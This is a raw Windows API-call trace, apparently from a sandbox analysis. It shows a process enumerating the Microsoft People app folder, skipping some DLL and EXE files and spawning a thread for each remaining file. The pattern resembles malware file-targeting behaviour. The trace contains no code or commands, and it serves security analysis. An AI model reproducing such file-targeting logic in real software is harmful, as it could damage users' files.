	[0093.566] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2499f315, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2499f315, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2499f315, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2eaa, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0093.566] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0093.566] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0093.566] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbe) returned 0x49264b8
	[0093.566] wcscpy (in: _Dest=0x49264b8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe"
	[0093.566] wcscat (in: _Dest=0x49264b8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\"
	[0093.566] wcscat (in: _Dest=0x49264b8, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\AppxManifest.xml"
	[0093.566] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x49264b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x130c
	[0093.567] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x249c5573, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xafd6f7c8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x249c5573, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxMetadata", cAlternateFileName="APPXME~1")) returned 1
	[0093.567] wcscmp (_String1="AppxMetadata", _String2=".") returned 1
	[0093.567] wcscmp (_String1="AppxMetadata", _String2="..") returned 1
	[0093.567] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb6) returned 0x4f2d560
	[0093.567] wcscpy (in: _Dest=0x4f2d560, _Source="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe"
	[0093.567] wcscat (in: _Dest=0x4f2d560, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\"
	[0093.567] wcscat (in: _Dest=0x4f2d560, _Source="AppxMetadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\AppxMetadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\AppxMetadata"
	[0093.567] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4f2d560, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1914
	[0093.568] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2499f315, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x2499f315, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x2499f315, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x29bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxSignature.p7x", cAlternateFileName="")) returned 1
	[0093.568] wcscmp (_String1="AppxSignature.p7x", _String2=".") returned 1
	[0093.568] wcscmp (_String1="AppxSignature.p7x", _String2="..") returned 1
	[0093.568] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc0) returned 0x4926580
	[0093.568] wcscpy (in: _Dest=0x4926580, _Source="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe"
	[0093.568] wcscat (in: _Dest=0x4926580, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\"
	[0093.568] wcscat (in: _Dest=0x4926580, _Source="AppxSignature.p7x" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\AppxSignature.p7x"
	[0093.568] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4926580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x97c
	[0093.568] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x249eb7cc, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xafdc1431, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x24bc56a8, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Assets", cAlternateFileName="")) returned 1
	[0093.569] wcscmp (_String1="Assets", _String2=".") returned 1
	[0093.569] wcscmp (_String1="Assets", _String2="..") returned 1
	[0093.569] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xaa) returned 0x481aba8
	[0093.569] wcscpy (in: _Dest=0x481aba8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe"
	[0093.569] wcscat (in: _Dest=0x481aba8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\"
	[0093.569] wcscat (in: _Dest=0x481aba8, _Source="Assets" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\Assets") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\Assets"
	[0093.569] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x481aba8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x974
	[0093.569] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24beb906, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x24beb906, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x24beb906, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x16d, dwReserved0=0x0, dwReserved1=0x0, cFileName="BuildInfo.xml", cAlternateFileName="")) returned 1
	[0093.569] wcscmp (_String1="BuildInfo.xml", _String2=".") returned 1
	[0093.569] wcscmp (_String1="BuildInfo.xml", _String2="..") returned 1
	[0093.570] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xb8) returned 0x4f2d620
	[0093.570] wcscpy (in: _Dest=0x4f2d620, _Source="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe"
	[0093.570] wcscat (in: _Dest=0x4f2d620, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\"
	[0093.570] wcscat (in: _Dest=0x4f2d620, _Source="BuildInfo.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\BuildInfo.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\BuildInfo.xml"
	[0093.570] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4f2d620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1428
	[0093.570] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24beb906, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x24beb906, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x24beb906, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0xff58, dwReserved0=0x0, dwReserved1=0x0, cFileName="ClrCompression.dll", cAlternateFileName="")) returned 1
	[0093.570] wcscmp (_String1="ClrCompression.dll", _String2=".") returned 1
	[0093.570] wcscmp (_String1="ClrCompression.dll", _String2="..") returned 1
	[0093.570] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24beb906, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x24beb906, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x24beb906, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Apps.People.BackgroundTasks.winmd", cAlternateFileName="")) returned 1
	[0093.570] wcscmp (_String1="Microsoft.Apps.People.BackgroundTasks.winmd", _String2=".") returned 1
	[0093.570] wcscmp (_String1="Microsoft.Apps.People.BackgroundTasks.winmd", _String2="..") returned 1
	[0093.571] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf4) returned 0x4778260
	[0093.571] wcscpy (in: _Dest=0x4778260, _Source="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe"
	[0093.571] wcscat (in: _Dest=0x4778260, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\"
	[0093.571] wcscat (in: _Dest=0x4778260, _Source="Microsoft.Apps.People.BackgroundTasks.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\Microsoft.Apps.People.BackgroundTasks.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\Microsoft.Apps.People.BackgroundTasks.winmd"
	[0093.571] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4778260, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14a0
	[0093.571] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24beb906, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x24beb906, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x24beb906, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Apps.People.Shared.winmd", cAlternateFileName="")) returned 1
	[0093.571] wcscmp (_String1="Microsoft.Apps.People.Shared.winmd", _String2=".") returned 1
	[0093.571] wcscmp (_String1="Microsoft.Apps.People.Shared.winmd", _String2="..") returned 1
	[0093.571] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe2) returned 0x491d358
	[0093.571] wcscpy (in: _Dest=0x491d358, _Source="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe"
	[0093.571] wcscat (in: _Dest=0x491d358, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\"
	[0093.571] wcscat (in: _Dest=0x491d358, _Source="Microsoft.Apps.People.Shared.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\Microsoft.Apps.People.Shared.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\Microsoft.Apps.People.Shared.winmd"
	[0093.572] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x491d358, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b3c
	[0093.572] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24beb906, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x24beb906, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x24beb906, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.People.Controls.winmd", cAlternateFileName="")) returned 1
	[0093.572] wcscmp (_String1="Microsoft.People.Controls.winmd", _String2=".") returned 1
	[0093.572] wcscmp (_String1="Microsoft.People.Controls.winmd", _String2="..") returned 1
	[0093.572] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xdc) returned 0x4e33478
	[0093.572] wcscpy (in: _Dest=0x4e33478, _Source="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe"
	[0093.572] wcscat (in: _Dest=0x4e33478, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\"
	[0093.572] wcscat (in: _Dest=0x4e33478, _Source="Microsoft.People.Controls.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\Microsoft.People.Controls.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\Microsoft.People.Controls.winmd"
	[0093.572] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4e33478, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x181c
	[0093.573] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24c11b64, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x24caa4cd, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x24caa4cd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1c2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.People.Relevance.dll", cAlternateFileName="")) returned 1
	[0093.573] wcscmp (_String1="Microsoft.People.Relevance.dll", _String2=".") returned 1
	[0093.573] wcscmp (_String1="Microsoft.People.Relevance.dll", _String2="..") returned 1
	[0093.573] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24caa4cd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x24caa4cd, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x24caa4cd, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.People.Relevance.winmd", cAlternateFileName="")) returned 1
	[0093.573] wcscmp (_String1="Microsoft.People.Relevance.winmd", _String2=".") returned 1
	[0093.573] wcscmp (_String1="Microsoft.People.Relevance.winmd", _String2="..") returned 1
	[0093.573] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xde) returned 0x4e33390
	[0093.573] wcscpy (in: _Dest=0x4e33390, _Source="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe"
	[0093.573] wcscat (in: _Dest=0x4e33390, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\"
	[0093.573] wcscat (in: _Dest=0x4e33390, _Source="Microsoft.People.Relevance.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\Microsoft.People.Relevance.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\Microsoft.People.Relevance.winmd"
	[0093.573] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2769640, lpParameter=0x4e33390, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b38
	[0093.574] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd61ded48, ftCreationTime.dwHighDateTime=0x1d32741, ftLastAccessTime.dwLowDateTime=0xd442d6fc, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd442d6fc, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="microsoft.system.package.metadata", cAlternateFileName="MICROS~1.MET")) returned 1
	[0093.574] wcscmp (_String1="microsoft.system.package.metadata", _String2=".") returned 1
	[0093.574] wcscmp (_String1="microsoft.system.package.metadata", _String2="..") returned 1
	[0093.574] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xe0) returned 0x4e32f08
	[0093.574] wcscpy (in: _Dest=0x4e32f08, _Source="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe"
	[0093.574] wcscat (in: _Dest=0x4e32f08, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\"
	[0093.574] wcscat (in: _Dest=0x4e32f08, _Source="microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0093.574] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2772460, lpParameter=0x4e32f08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b34
	[0093.575] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24caa4cd, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x24ddb7a6, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x24ddb7a6, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x271600, dwReserved0=0x0, dwReserved1=0x0, cFileName="People.BackgroundTasks.dll", cAlternateFileName="")) returned 1
	[0093.575] wcscmp (_String1="People.BackgroundTasks.dll", _String2=".") returned 1
	[0093.575] wcscmp (_String1="People.BackgroundTasks.dll", _String2="..") returned 1
	[0093.575] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24ddb7a6, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x250fc922, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x250fc922, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x914600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PeopleApp.dll", cAlternateFileName="")) returned 1
	[0093.575] wcscmp (_String1="PeopleApp.dll", _String2=".") returned 1
	[0093.575] wcscmp (_String1="PeopleApp.dll", _String2="..") returned 1
	[0093.575] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25122b7c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x25122b7c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x25122b7c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PeopleApp.exe", cAlternateFileName="")) returned 1
	[0093.575] wcscmp (_String1="PeopleApp.exe", _String2=".") returned 1
	[0093.575] wcscmp (_String1="PeopleApp.exe", _String2="..") returned 1
	[0093.575] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25122b7c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x253d40de, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x253d40de, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3b7e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PeopleShared.dll", cAlternateFileName="")) returned 1
	[0093.575] wcscmp (_String1="PeopleShared.dll", _String2=".") returned 1
	[0093.575] wcscmp (_String1="PeopleShared.dll", _String2="..") returned 1
	[0093.575] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x253d40de, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x253fa33c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x253fa33c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x21e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PeopleUtilRT.Windows.dll", cAlternateFileName="")) returned 1
	[0093.575] wcscmp (_String1="PeopleUtilRT.Windows.dll", _String2=".") returned 1
	[0093.575] wcscmp (_String1="PeopleUtilRT.Windows.dll", _String2="..") returned 1
	[0093.575] FindNextFileW (in: hFindFile=0x2d71340, lpFindFileData=0x2e273f8 | out: lpFindFileData=0x2e273f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x253fa33c, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x253fa33c, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x253fa33c, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PeopleUtilRT.winmd", cAlternateFileName="")) returned 1
	[0093.575] wcscmp (_String1="PeopleUtilRT.winmd", _String2=".") returned 1
	[0093.575] wcscmp (_String1="PeopleUtilRT.winmd", _String2="..") returned 1
	[0093.575] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc2) returned 0x4718eb0
	[0093.576] wcscpy (in: _Dest=0x4718eb0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe"
	[0093.576] wcscat (in: _Dest=0x4718eb0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\"
	[0093.576] wcscat (in: _Dest=0x4718eb0, _Source="PeopleUtilRT.winmd" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\PeopleUtilRT.winmd") returned="C:\\Program Files\\WindowsApps\\Microsoft.People_10.1.10531.0_x64__8wekyb3d8bbwe\\PeopleUtilRT.winmd"
